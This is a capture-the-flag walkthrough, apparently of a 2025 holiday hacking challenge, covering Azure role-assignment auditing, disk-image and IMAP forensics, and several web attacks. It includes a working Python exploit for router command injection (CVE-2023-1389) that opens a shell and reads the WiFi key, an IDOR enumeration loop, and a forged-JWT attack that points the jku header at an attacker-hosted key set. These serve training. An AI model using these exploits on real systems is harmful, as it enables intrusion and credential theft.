$ az account list --query "[].name"
[
"theneighborhood-sub",
"theneighborhood-sub-2",
"theneighborhood-sub-3",
"theneighborhood-sub-4"
]Todo
You can do some more advanced queries using conditional filtering with custom output.
$ az account list --query "[?state=='Enabled'].{Name:name, ID:id}"Cool! 😎[?condition]filters what you want,{custom:fields}makes clean output ✨
$ az account list --query "[?state=='Enabled'].{Name:name, ID:id}"
[
{
"ID": "2b0942f3-9bca-484b-a508-abdae2db5e64",
"Name": "theneighborhood-sub"
},
{
"ID": "4d9dbf2a-90b4-4d40-a97f-dc51f3c3d46e",
"Name": "theneighborhood-sub-2"
},
{
"ID": "065cc24a-077e-40b9-b666-2f4dd9f3a617",
"Name": "theneighborhood-sub-3"
},
{
"ID": "681c0111-ca84-47b2-808d-d8be2325b380",
"Name": "theneighborhood-sub-4"
}
]Todo
Let’s take a look at the Owner’s of the first listed subscription 🔍. Pass in the first subscription id. Try:
az role assignment list --scope "/subscriptions/{ID of first Subscription}" --query [?roleDefinition=='Owner']
$ az role assignment list --scope "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64" \
--query [?roleDefinition=='Owner']
[
{
"condition": "null",
"conditionVersion": "null",
"createdBy": "85b095fa-a9b4-4bdc-a3af-c9f95ebb8dd6",
"createdOn": "2025-09-10T15:45:12.439266+00:00",
"delegatedManagedIdentityResourceId": "null",
"description": "null",
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/providers/Microsoft.Authorization/roleAssignments/b1c69caa-a4d6-449a-a090-efacb23b55f3",
"name": "b1c69caa-a4d6-449a-a090-efacb23b55f3",
"principalId": "2b5c7aed-2728-4e63-b657-98f759cc0936",
"principalName": "PIM-Owners",
"principalType": "Group",
"roleDefinitionId": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/providers/Microsoft.Authorization/roleDefinitions/8e3af657-a8ff-443c-a75c-2fe8c4bcb635",
"roleDefinitionName": "Owner",
"scope": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64",
"type": "Microsoft.Authorization/roleAssignments",
"updatedBy": "85b095fa-a9b4-4bdc-a3af-c9f95ebb8dd6",
"updatedOn": "2025-09-10T15:45:12.439266+00:00"
}
]Todo
Ok 🤔 — there is a group present for the Owners permission; however, we’ve been assured this is a 🔐
PIMenabled group. Currently, noPIMactivations are present. 🚨 Let’s run the previous command against the other subscriptions to see what we come up with.
$ az role assignment list --scope "/subscriptions/065cc24a-077e-40b9-b666-2f4dd9f3a617" \
--query [?roleDefinition=='Owner']
[
{
"condition": "null",
"conditionVersion": "null",
"createdBy": "85b095fa-a9b4-4bdc-a3af-c9f95ebb8dd6",
"createdOn": "2025-09-10T15:45:12.439266+00:00",
"delegatedManagedIdentityResourceId": "null",
"description": "null",
"id": "/subscriptions/065cc24a-077e-40b9-b666-2f4dd9f3a617/providers/Microsoft.Authorization/roleAssignments/b1c69caa-a4d6-449a-a090-efacb23b55f3",
"name": "b1c69caa-a4d6-449a-a090-efacb23b55f3",
"principalId": "2b5c7aed-2728-4e63-b657-98f759cc0936",
"principalName": "PIM-Owners",
"principalType": "Group",
"roleDefinitionId": "/subscriptions/065cc24a-077e-40b9-b666-2f4dd9f3a617/providers/Microsoft.Authorization/roleDefinitions/8e3af657-a8ff-443c-a75c-2fe8c4bcb635",
"roleDefinitionName": "Owner",
"scope": "/subscriptions/065cc24a-077e-40b9-b666-2f4dd9f3a617",
"type": "Microsoft.Authorization/roleAssignments",
"updatedBy": "85b095fa-a9b4-4bdc-a3af-c9f95ebb8dd6",
"updatedOn": "2025-09-10T15:45:12.439266+00:00"
},
{
"condition": "null",
"conditionVersion": "null",
"createdBy": "85b095fa-a9b4-4bdc-a3af-c9f95ebb8dd6",
"createdOn": "2025-09-10T16:58:16.317381+00:00",
"delegatedManagedIdentityResourceId": "null",
"description": "null",
"id": "/subscriptions/065cc24a-077e-40b9-b666-2f4dd9f3a617/providers/Microsoft.Authorization/roleAssignments/6b452f58-6872-4064-ae9b-78742e8d987e",
"name": "6b452f58-6872-4064-ae9b-78742e8d987e",
"principalId": "6b982f2f-78a0-44a8-b915-79240b2b4796",
"principalName": "IT Admins",
"principalType": "Group",
"roleDefinitionId": "/subscriptions/065cc24a-077e-40b9-b666-2f4dd9f3a617/providers/Microsoft.Authorization/roleDefinitions/8e3af657-a8ff-443c-a75c-2fe8c4bcb635",
"roleDefinitionName": "Owner",
"scope": "/subscriptions/065cc24a-077e-40b9-b666-2f4dd9f3a617",
"type": "Microsoft.Authorization/roleAssignments",
"updatedBy": "85b095fa-a9b4-4bdc-a3af-c9f95ebb8dd6",
"updatedOn": "2025-09-10T16:58:16.317381+00:00"
}
]Todo
Looks like you are on to something here! 🕵️ We were assured that only the 🔐
PIMgroup was present for each subscription. 🔎 Let’s figure out the membership of that group. Hint: use theaz ad member listcommand. Pass thegroup idinstead of the name. Remember:| lesslets you scroll through long output
$ az ad member list --group "6b982f2f-78a0-44a8-b915-79240b2b4796"
[
{
"@odata.type": "#microsoft.graph.group",
"classification": null,
"createdDateTime": "2025-09-10T16:54:24Z",
"creationOptions": [],
"deletedDateTime": null,
"description": null,
"displayName": "Subscription Admins",
"expirationDateTime": null,
"groupTypes": [],
"id": "631ebd3f-39f9-4492-a780-aef2aec8c94e",
"isAssignableToRole": null,
"mail": null,
"mailEnabled": false,
"mailNickname": "15a80d1d-5",
"membershipRule": null,
"membershipRuleProcessingState": null,
"onPremisesDomainName": null,
"onPremisesLastSyncDateTime": null,
"onPremisesNetBiosName": null,
"onPremisesProvisioningErrors": [],
"onPremisesSamAccountName": null,
"onPremisesSecurityIdentifier": null,
"onPremisesSyncEnabled": null,
"preferredDataLocation": null,
"preferredLanguage": null,
"proxyAddresses": [],
"renewedDateTime": "2025-09-10T16:54:24Z",
"resourceBehaviorOptions": [],
"resourceProvisioningOptions": [],
"securityEnabled": true,
"securityIdentifier": "S-1-12-1-1662958911-1150433785-4071522471-1321846958",
"serviceProvisioningErrors": [],
"theme": null,
"uniqueName": null,
"uniqueName": null,
"visibility": null
}
]Todo
Well 😤, that’s annoying. Looks like we have a nested group! Let’s run the command one more time against this group.
$ az ad member list --group "631ebd3f-39f9-4492-a780-aef2aec8c94e"
[
{
"@odata.type": "#microsoft.graph.user",
"businessPhones": [
"+1-555-0199"
],
"displayName": "Firewall Frank",
"givenName": "Frank",
"id": "b8613dd2-5e33-4d77-91fb-b4f2338c19c9",
"jobTitle": "HOA IT Administrator",
"mail": "frank.firewall@theneighborhood.invalid",
"mobilePhone": "+1-555-0198",
"officeLocation": "HOA Community Center - IT Office",
"preferredLanguage": "en-US",
"surname": "Firewall",
"userPrincipalName": "frank.firewall@theneighborhood.onmicrosoft.com"
}
]Todo
elevated access instead of permanent assignments. Permanent
Ownerroles createpersistentattack paths and violate least-privilege principles.Challenge Complete! To finish, type:
finish
$ finish
Completing challenge...ACT II
Info
The Gnomes’ nefarious plot seems to involve stealing refrigerator parts. But why?
Retro Recovery
Join Mark in the retro shop. Analyze his disk image for a blast from the retro past and recover some classic treasures.

The interaction with Mark puts a new item in my inventory. floopy.img seems to be a disk image and I load it into FTK Imager. The regular contents of the disk are not that interesting but there’s also unallocated space. Skimming over the hex view, I quickly spot readable strings so I extract 002 and open it in notepad. A base64 encoded string and decoding it reveals the flag for this objective.

merry christmas to all and to all a good night
Mail Detective
Help Mo in City Hall solve a curly email caper and crack the IMAP case. What is the URL of the pastebin service the gnomes are using?

Connecting to the locally running IMAP server is trivial with curl. It just requires using the protocol imap:// and supplying the credentials. This lists the available folders.
$ curl "imap://dosismail:holidaymagic@127.0.0.1"
* LIST (\HasNoChildren) "." Spam
* LIST (\HasNoChildren) "." Sent
* LIST (\HasNoChildren) "." Archives
* LIST (\HasNoChildren) "." Drafts
* LIST (\HasNoChildren) "." INBOXThen I search for the keyword http in the body of all mails within the folder Spam. This just returns 1 hit with ID 2 and I retrieve this mail and only list lines containing they keyword.
$ curl "imap://dosismail:holidaymagic@127.0.0.1/Spam" -X 'SEARCH BODY http'
* SEARCH 2
$ curl -s "imap://dosismail:holidaymagic@127.0.0.1/Spam;UID=2" | grep -i http
var pastebinUrl = "https://frostbin.atnas.mail/api/paste";
console.log("Response: {\"id\":\"" + Math.random().toString(36).substr(2, 8) + "\",\"url\":\"https://frostbin.atnas.mail/raw/" + Math.random().toString(36).substr(2, 8) + "\"}");
https://frostbin.atnas.mail/api/paste
IDORable Bistro
Josh has a tasty IDOR treat for you—stop by Sasabune for a bite of vulnerability. What is the name of the gnome?

Josh Wright talks about a gnome that ordered frozen sushi and that there’s a receipt outside the door. On the left side of the diner, I find the receipt on the floor and walking over it puts a crumbled Sasabune receipt into my inventory.

Throwing the PNG file into CyberChef and using Parse QR Code as recipe returns the URL https://its-idorable.holidayhackchallenge.com/receipt/i9j0k1l2.

Accessing the URL shows the receipt details on a web page. It includes the same information as on the paper receipt, but also the customer name.

When I inspect the HTML source code of the page (CTRL+U), I find JavaScript calling an API endpoint with the parameter id. By default the value is set to 103, the same ID as on the receipt I’ve found.
// Initial receipt ID
let receiptId = '103';
// Function to fetch and display receipt details
function fetchReceiptDetails(id) {
// Add a small delay for dramatic effect
setTimeout(function () {
fetch(`/api/receipt?id=${ id }`).then(response => {
if (!response.ok) {
throw new Error('Receipt not found');
}
return response.json();
}).then(data => {
const receiptDiv = document.getElementById('check-details');
let receiptHtml = `
<div class="receipt">
<div class="receipt-header">
<div class="holiday-logo"></div>
<h3>Sasabune</h3>
<p>Serving the Dosis Neighborhood Since 2015</p>
<p>Receipt #${ data.id } | Table ${ data.table } | ${ data.date }</p>
<p>Customer: ${ data.customer }</p>
</div>
<div class="receipt-items">
<table>
<thead>
<tr>
<th>Item</th>
<th>Price</th>
</tr>
</thead>
<tbody>
`;
// --- SNIP ---
}The objective is to find the name of the gnome who ordered frozen sushi. Instead of using the web page, I retrieve all receipts from 1 to 200 via curl and pipe the output into a file. Searching for frozen as an case-insensitive string returns only one match for a customer called Bartholomew Quibblefrost.
$ for i in {1..200};
do
curl -s "https://its-idorable.holidayhackchallenge.com/api/receipt?id=${i}"
done > receipts.json
$ grep -i frozen receipts.json | jq .
{
"customer": "Bartholomew Quibblefrost",
"date": "2025-12-20",
"id": 139,
"items": [
{
"name": "Frozen Roll (waitress improvised: sorbet, a hint of dry ice)",
"price": 19
}
],
"note": "Insisted on increasingly bizarre rolls and demanded one be served frozen. The waitress invented a 'Frozen Roll' on the spot with sorbet and a puff of theatrical smoke. He nodded solemnly and asked if we could make these in bulk.",
"paid": true,
"table": 14,
"total": 19
}
Bartholomew Quibblefrost
Dosis Network Down
Drop by JJ’s 24-7 for a network rescue and help restore the holiday cheer. What is the WiFi password found in the router’s config?
This challenge takes me to https://dosis-network-down.holidayhackchallenge.com and I’m presented a login prompt for a router. The actual login is non-functioning but the page reveals certain aspects of the device in use.
- Hardware Version:
Archer AX21 v2.0 - Firmware Version:
1.1.4 Build 20230219 rel.69802 AX1800Wi-Fi 6 Router

Searching for known vulnerabilities for this device finds CVE-2023-1389, an unauthenticated command injection. Basically an endpoint has to be hit twice and the second time the command will run and return the output. To make exploiting this easy, I wrap that logic in a Python script.
#!/usr/bin/python3
import requests
URL = 'https://dosis-network-down.holidayhackchallenge.com/cgi-bin/luci/;stok=/locale'
def send_payload(cmd):
payload = {'form': 'country', 'operation': 'write', 'country': f'$({cmd})'}
requests.get(URL, params=payload)
return requests.get(URL, params=payload).text
def main():
while True:
cmd = input('cmd > ').strip()
print(send_payload(cmd))
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
pass
It just asks for a command in a loop and calls the vulnerable endpoint twice. Then it prints the return value to the screen. This should give me a semi-interactive shell on the target and I might find the password in /etc/config/wireless since the router is running DD-WRT1.
python3 exploit.py
cmd > ls -la /etc/config
total 7
drwxrwxr-x 1 999 999 0 Sep 16 12:39 .
drwxrwxr-x 1 999 999 0 Sep 16 12:39 ..
-rw-rw-r-- 1 999 999 825 May 29 2025 dhcp
-rw-rw-r-- 1 999 999 2364 May 29 2025 firewall
-rw-rw-r-- 1 999 999 566 May 29 2025 leds
-rw-rw-r-- 1 999 999 672 May 29 2025 network
-rw-rw-r-- 1 999 999 355 May 29 2025 system
-rw-rw-r-- 1 999 999 744 Sep 16 12:36 wireless
cmd > grep "option key" /etc/config/wireless
option key 'SprinklesAndPackets2025!'
option key 'SprinklesAndPackets2025!'
SprinklesAndPackets2025!
Rogue Gnome Identity Provider
Hike over to Paul in the park for a gnomey authentication puzzle adventure. What malicious firmware image are the gnomes downloading?

The challenge provides the credentials gnome:SittingOnAShelf and additional notes in ~/notes. Those contain the commands needed to interact with the Atnas identity provider and how to access the diagnostic interface.
# Sites
## Captured Gnome:
curl http://gnome-48371.atnascorp/
## ATNAS Identity Provider (IdP):
curl http://idp.atnascorp/
## My CyberChef website:
curl http://paulweb.neighborhood/
### My CyberChef site html files:
~/www/
# Credentials
## Gnome credentials (found on a post-it):
Gnome:SittingOnAShelf
# Curl Commands Used in Analysis of Gnome:
## Gnome Diagnostic Interface authentication required page:
curl http://gnome-48371.atnascorp
## Request IDP Login Page
curl http://idp.atnascorp/?return_uri=http%3A%2F%2Fgnome-48371.atnascorp%2Fauth
## Authenticate to IDP
curl -X POST --data-binary $'username=gnome&password=SittingOnAShelf&return_uri=http%3A%2F%2Fgnome-48371.atnascorp%2Fauth' http://idp.atnascorp/login
## Pass Auth Token to Gnome
curl -v http://gnome-48371.atnascorp/auth?token=<insert-JWT>
## Access Gnome Diagnostic Interface
curl -H 'Cookie: session=<insert-session>' http://gnome-48371.atnascorp/diagnostic-interface
## Analyze the JWT
jwt_tool.py <insert-JWT>By repeating the commands, I can authenticate with the identity provider at idp.atnascorp/login and get redirected to gnome-48371.atnascorp/auth with a JWT. The consecutive call to /auth with the received token sets a session cookie and I can access the diagnostic console. On there is just a note that the interface is only available to admins.
$ curl -X POST \
--data-binary $'username=gnome&password=SittingOnAShelf&return_uri=http%3A%2F%2Fgnome-48371.atnascorp%2Fauth' \
http://idp.atnascorp/login
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="http://gnome-48371.atnascorp/auth?token=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9pZHAuYXRuYXNjb3JwLy53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6ImlkcC1rZXktMjAyNSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2NjM1NjM3OCwiZXhwIjoxNzY2MzYzNTc4LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6ZmFsc2V9.uABoZh6YMXRv_dXDprQoiY3pJVGjZ2SlgUf0Osl41Is42ckSIHWy__OtL9NWaFgu98C4JCukae3uE3lLOjOUXlbUe8ZN6TJKii9H-uzJf1TEj0GTQkrOGatWv32Vov66T2LzBXiZ1VDYxn8m9T4GEKahRD8PJrZtaqHkJ7lrp8a_ZH3BHhZodJZgjoSNhKYS39II_8i94MerEmhCE32bWbT6UxM_L9_11UnACFdQZtm_1BJttNnlzIuRSUCf6aiTNzr7YjYH3wMGKLNloiF0RcX7nSlNwmVzX-UOu5oPTsS6v0woeJdIOHrYOU5cKG5nKbniB7r3np8c9S6-Fr_VSA">http://gnome-48371.atnascorp/auth?token=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9pZHAuYXRuYXNjb3JwLy53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6ImlkcC1rZXktMjAyNSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2NjM1NjM3OCwiZXhwIjoxNzY2MzYzNTc4LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6ZmFsc2V9.uABoZh6YMXRv_dXDprQoiY3pJVGjZ2SlgUf0Osl41Is42ckSIHWy__OtL9NWaFgu98C4JCukae3uE3lLOjOUXlbUe8ZN6TJKii9H-uzJf1TEj0GTQkrOGatWv32Vov66T2LzBXiZ1VDYxn8m9T4GEKahRD8PJrZtaqHkJ7lrp8a_ZH3BHhZodJZgjoSNhKYS39II_8i94MerEmhCE32bWbT6UxM_L9_11UnACFdQZtm_1BJttNnlzIuRSUCf6aiTNzr7YjYH3wMGKLNloiF0RcX7nSlNwmVzX-UOu5oPTsS6v0woeJdIOHrYOU5cKG5nKbniB7r3np8c9S6-Fr_VSA</a>. If not, click the link.
$ curl -v http://gnome-48371.atnascorp/auth?token=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9pZHAuYXRuYXNjb3JwLy53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6ImlkcC1rZXktMjAyNSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2NjM1NjM3OCwiZXhwIjoxNzY2MzYzNTc4LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6ZmFsc2V9.uABoZh6YMXRv_dXDprQoiY3pJVGjZ2SlgUf0Osl41Is42ckSIHWy__OtL9NWaFgu98C4JCukae3uE3lLOjOUXlbUe8ZN6TJKii9H-uzJf1TEj0GTQkrOGatWv32Vov66T2LzBXiZ1VDYxn8m9T4GEKahRD8PJrZtaqHkJ7lrp8a_ZH3BHhZodJZgjoSNhKYS39II_8i94MerEmhCE32bWbT6UxM_L9_11UnACFdQZtm_1BJttNnlzIuRSUCf6aiTNzr7YjYH3wMGKLNloiF0RcX7nSlNwmVzX-UOu5oPTsS6v0woeJdIOHrYOU5cKG5nKbniB7r3np8c9S6-Fr_VSA
> Host: gnome-48371.atnascorp
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 302 FOUND
< Date: Sun, 21 Dec 2025 22:33:35 GMT
< Server: Werkzeug/3.0.1 Python/3.12.3
< Content-Type: text/html; charset=utf-8
< Content-Length: 229
< Location: /diagnostic-interface
< Vary: Cookie
< Set-Cookie: session=eyJhZG1pbiI6ZmFsc2UsInVzZXJuYW1lIjoiZ25vbWUifQ.aUh1vw.eY_AoYBNFGOylnequ07jKGHWZoc; HttpOnly; Path=/
<
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/diagnostic-interface">/diagnostic-interface</a>. If not, click the link.
* Connection #0 to host gnome-48371.atnascorp left intact
$ curl -H 'Cookie: session=eyJhZG1pbiI6ZmFsc2UsInVzZXJuYW1lIjoiZ25vbWUifQ.aUh1vw.eY_AoYBNFGOylnequ07jKGHWZoc' \
http://gnome-48371.atnascorp/diagnostic-interface
<!DOCTYPE html>
<html>
<head>
<title>AtnasCorp : Gnome Diagnostic Interface</title>
<link rel="stylesheet" type="text/css" href="/static/styles/styles.css">
</head>
<body>
<h1>AtnasCorp : Gnome Diagnostic Interface</h1>
<p>Welcome gnome</p><p>Diagnostic access is only available to admins.</p>
</body>
</html>With jwt_tool, already pre-installed, I can look at the contents of the JWT. It shows the payload claim sub set to gnome and the header reveals the algorithm RS256 is in use as well as the jku URL with the public key information used to verify the integrity of the token.
$ jwt_tool.py eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9pZHAuYXRuYXNjb3JwLy53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6ImlkcC1rZXktMjAyNSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2NjM1NjM3OCwiZXhwIjoxNzY2MzYzNTc4LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6ZmFsc2V9.uABoZh6YMXRv_dXDprQoiY3pJVGjZ2SlgUf0Osl41Is42ckSIHWy__OtL9NWaFgu98C4JCukae3uE3lLOjOUXlbUe8ZN6TJKii9H-uzJf1TEj0GTQkrOGatWv32Vov66T2LzBXiZ1VDYxn8m9T4GEKahRD8PJrZtaqHkJ7lrp8a_ZH3BHhZodJZgjoSNhKYS39II_8i94MerEmhCE32bWbT6UxM_L9_11UnACFdQZtm_1BJttNnlzIuRSUCf6aiTNzr7YjYH3wMGKLNloiF0RcX7nSlNwmVzX-UOu5oPTsS6v0woeJdIOHrYOU5cKG5nKbniB7r3np8c9S6-Fr_VSA
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.3.0 \______| @ticarpi
/home/paul/.jwt_tool/jwtconf.ini
Original JWT:
=====================
Decoded Token Values:
=====================
Token header values:
[+] alg = "RS256"
[+] jku = "http://idp.atnascorp/.well-known/jwks.json"
[+] kid = "idp-key-2025"
[+] typ = "JWT"
Token payload values:
[+] sub = "gnome"
[+] iat = 1766356378 ==> TIMESTAMP = 2025-12-21 22:32:58 (UTC)
[+] exp = 1766363578 ==> TIMESTAMP = 2025-12-22 00:32:58 (UTC)
[+] iss = "http://idp.atnascorp/"
[+] admin = False
Seen timestamps:
[*] iat was seen
[*] exp is later than iat by: 0 days, 2 hours, 0 mins
----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------A common attack is to forge a new JWT with arbitrary contents, sign it and point the jku to another controlled location2. If the application blindly trusts the new URL and uses the information from there to validate the contents, they pass as good and I can add anything to the cookie. From the notes I already know that anything I put into ~/www will be served at http://paulweb.neighborhood/. jwt_tool creates a default jwks.json during the first run that I can place there3. Instead of the kid idp-key-2025 it uses jwt_tool, so I have to either adjust the value in the header or in the file itself. Additionally I want to set the payload claim admin to true.
$ cat ~/.jwt_tool/jwttool_custom_jwks.json
{
"keys":[
{
"kty":"RSA",
"kid":"jwt_tool",
"use":"sig",
"e":"AQAB",
"n":"tchOVdXUg9T_HV2f9TVZeoH3G2uB243yAa6Hh7RsyeOy1tAs-OEnD1_5TWrljY-RqoSfoEjbE38rtVLp_weDfroHn8I-I9lGuAA-wDI70sOTm4tSSDuwD9VBFmXI-dFwsTN446yRJagaZP4ZgfPoreOL9bpfL_7HxPOJZ14z2ZJZaP-7hr1HSasyTkkRG3u4pylgoRUu2ZUxWhqNg1A7e1YNUrtlqagooFxGYkZBXbBXJbHdMLn-PSs3tc3pWQEQHPAYBSFHnCzyTEOFQOixh-OQq3KyL5sHKvOWUhTyO2USOmJHLYUbCEd6_DfrcR4P5EctwTlTEU1ssXONGgxHAQ"
}
]
$ cp ~/.jwt_tool/jwttool_custom_jwks.json ~/www/jwks.json
$ jwt_tool.py <JWT> \
--exploit s \
--jwksurl 'http://paulweb.neighborhood/jwks.json' \
--headerclaim 'kid' \
--headervalue 'jwt_tool' \
--payloadclaim 'admin' \
--payloadvalue 'true' \
--injectclaims
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.3.0 \______| @ticarpi
/home/paul/.jwt_tool/jwtconf.ini
Original JWT:
Paste this JWKS into a file at the following location before submitting token request: http://paulweb.neighborhood/jwks.json
(JWKS file used: /home/paul/.jwt_tool/jwttool_custom_jwks.json)
/home/paul/.jwt_tool/jwttool_custom_jwks.json
jwttool_33046d115b7ccdda4fb672d2f99005f7 - Signed with JWKS at http://paulweb.neighborhood/jwks.json
[+] eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9wYXVsd2ViLm5laWdoYm9yaG9vZC9qd2tzLmpzb24iLCJraWQiOiJqd3RfdG9vbCIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2NjM1NjM3OCwiZXhwIjoxNzY2MzYzNTc4LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6dHJ1ZX0.GYGO_CGU-hSjVFbsSXGEP5s76oWVg4iX45G2ExNCEKXtTWYoqsU2sk3PCiGgQ64DStqhakdp8VAoiG7ouIKVz6z6SX8lku7IFzSO9fUu3KOObkZ-IgwPpi0zjXxrPins4TWoAfCZGVA0PBQqoy7YkMIlcUAM5EwWC5YVoLNseNUH8hV5p5m0DDrqOdCsc6BeyvnNC5bBrZUGBXPJDIhzzSwXAn_pv9utS3gGxhYWC_5Cbc5-ttMYcC-APka6JthMn9hCBb8NsHRS66qx2ImmsiCz3-0pTJQRGXq5i7iNi-2CCxcWk_bWJy10kQn9g4vjPlhZOzSZNqhmyvaOJwVX-wWith the forged JWT I can call the /auth endpoint and retrieve a new session cookie. This time the diagnostic interface returns more data and also the name of the firmware image that is needed to fulfill the objective.
$ curl -v http://gnome-48371.atnascorp/auth?token=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9wYXVsd2ViLm5laWdoYm9yaG9vZC9qd2tzLmpzb24iLCJraWQiOiJqd3RfdG9vbCIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2NjM1NjM3OCwiZXhwIjoxNzY2MzYzNTc4LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6dHJ1ZX0.GYGO_CGU-hSjVFbsSXGEP5s76oWVg4iX45G2ExNCEKXtTWYoqsU2sk3PCiGgQ64DStqhakdp8VAoiG7ouIKVz6z6SX8lku7IFzSO9fUu3KOObkZ-IgwPpi0zjXxrPins4TWoAfCZGVA0PBQqoy7YkMIlcUAM5EwWC5YVoLNseNUH8hV5p5m0DDrqOdCsc6BeyvnNC5bBrZUGBXPJDIhzzSwXAn_pv9utS3gGxhYWC_5Cbc5-ttMYcC-APka6JthMn9hCBb8NsHRS66qx2ImmsiCz3-0pTJQRGXq5i7iNi-2CCxcWk_bWJy10kQn9g4vjPlhZOzSZNqhmyvaOJwVX-w
* Host gnome-48371.atnascorp:80 was resolved.
* IPv6: (none)
* IPv4: 127.0.0.1
* Trying 127.0.0.1:80...
* Connected to gnome-48371.atnascorp (127.0.0.1) port 80
> GET /auth?token=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9wYXVsd2ViLm5laWdoYm9yaG9vZC9qd2tzLmpzb24iLCJraWQiOiJqd3RfdG9vbCIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2NjM1NjM3OCwiZXhwIjoxNzY2MzYzNTc4LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6dHJ1ZX0.GYGO_CGU-hSjVFbsSXGEP5s76oWVg4iX45G2ExNCEKXtTWYoqsU2sk3PCiGgQ64DStqhakdp8VAoiG7ouIKVz6z6SX8lku7IFzSO9fUu3KOObkZ-IgwPpi0zjXxrPins4TWoAfCZGVA0PBQqoy7YkMIlcUAM5EwWC5YVoLNseNUH8hV5p5m0DDrqOdCsc6BeyvnNC5bBrZUGBXPJDIhzzSwXAn_pv9utS3gGxhYWC_5Cbc5-ttMYcC-APka6JthMn9hCBb8NsHRS66qx2ImmsiCz3-0pTJQRGXq5i7iNi-2CCxcWk_bWJy10kQn9g4vjPlhZOzSZNqhmyvaOJwVX-w HTTP/1.1
> Host: gnome-48371.atnascorp
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 302 FOUND
< Date: Sun, 21 Dec 2025 22:54:34 GMT
< Server: Werkzeug/3.0.1 Python/3.12.3
< Content-Type: text/html; charset=utf-8
< Content-Length: 229
< Location: /diagnostic-interface
< Vary: Cookie
< Set-Cookie: session=eyJhZG1pbiI6dHJ1ZSwidXNlcm5hbWUiOiJnbm9tZSJ9.aUh6qg.EHOWdlCucnZhEkP3Ry-BNZWNeSY; HttpOnly; Path=/
<
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/diagnostic-interface">/diagnostic-interface</a>. If not, click the link.
* Connection #0 to host gnome-48371.atnascorp left intact
$ curl -H 'Cookie: session=eyJhZG1pbiI6dHJ1ZSwidXNlcm5hbWUiOiJnbm9tZSJ9.aUh6qg.EHOWdlCucnZhEkP3Ry-BNZWNeSY' \
http://gnome-48371.atnascorp/diagnostic-interface
<!DOCTYPE html>
<html>
<head>
<title>AtnasCorp : Gnome Diagnostic Interface</title>
<link rel="stylesheet" type="text/css" href="/static/styles/styles.css">
</head>
<body>
<h1>AtnasCorp : Gnome Diagnostic Interface</h1>
<div style='display:flex; justify-content:center; gap:10px;'>
<img src='/camera-feed' style='width:30vh; height:30vh; border:5px solid yellow; border-radius:15px; flex-shrink:0;' />
<div style='width:30vh; height:30vh; border:5px solid yellow; border-radius:15px; flex-shrink:0; display:flex; align-items:flex-start; justify-content:flex-start; text-align:left;'>
System Log<br/>
2025-12-21 13:20:14: Movement detected.<br/>
2025-12-21 21:07:10: AtnasCorp C&C connection restored.<br/>
2025-12-21 22:30:11: Checking for updates.<br/>
2025-12-21 22:30:11: Firmware Update available: refrigeration-botnet.bin<br/>
2025-12-21 22:30:13: Firmware update downloaded.<br/>
2025-12-21 22:30:13: Gnome will reboot to apply firmware update in one hour.</div>
</div>
<div class="statuscheck">
<div class="status-container">
<div class="status-item">
<div class="status-indicator active"></div>
<span>Live Camera Feed</span>
</div>
<div class="status-item">
<div class="status-indicator active"></div>
<span>Network Connection</span>
</div>
<div class="status-item">
<div class="status-indicator active"></div>
<span>Connectivity to Atnas C&C</span>
</div>
</div>
</div>
</body>
</html>
refrigeration-botnet.bin
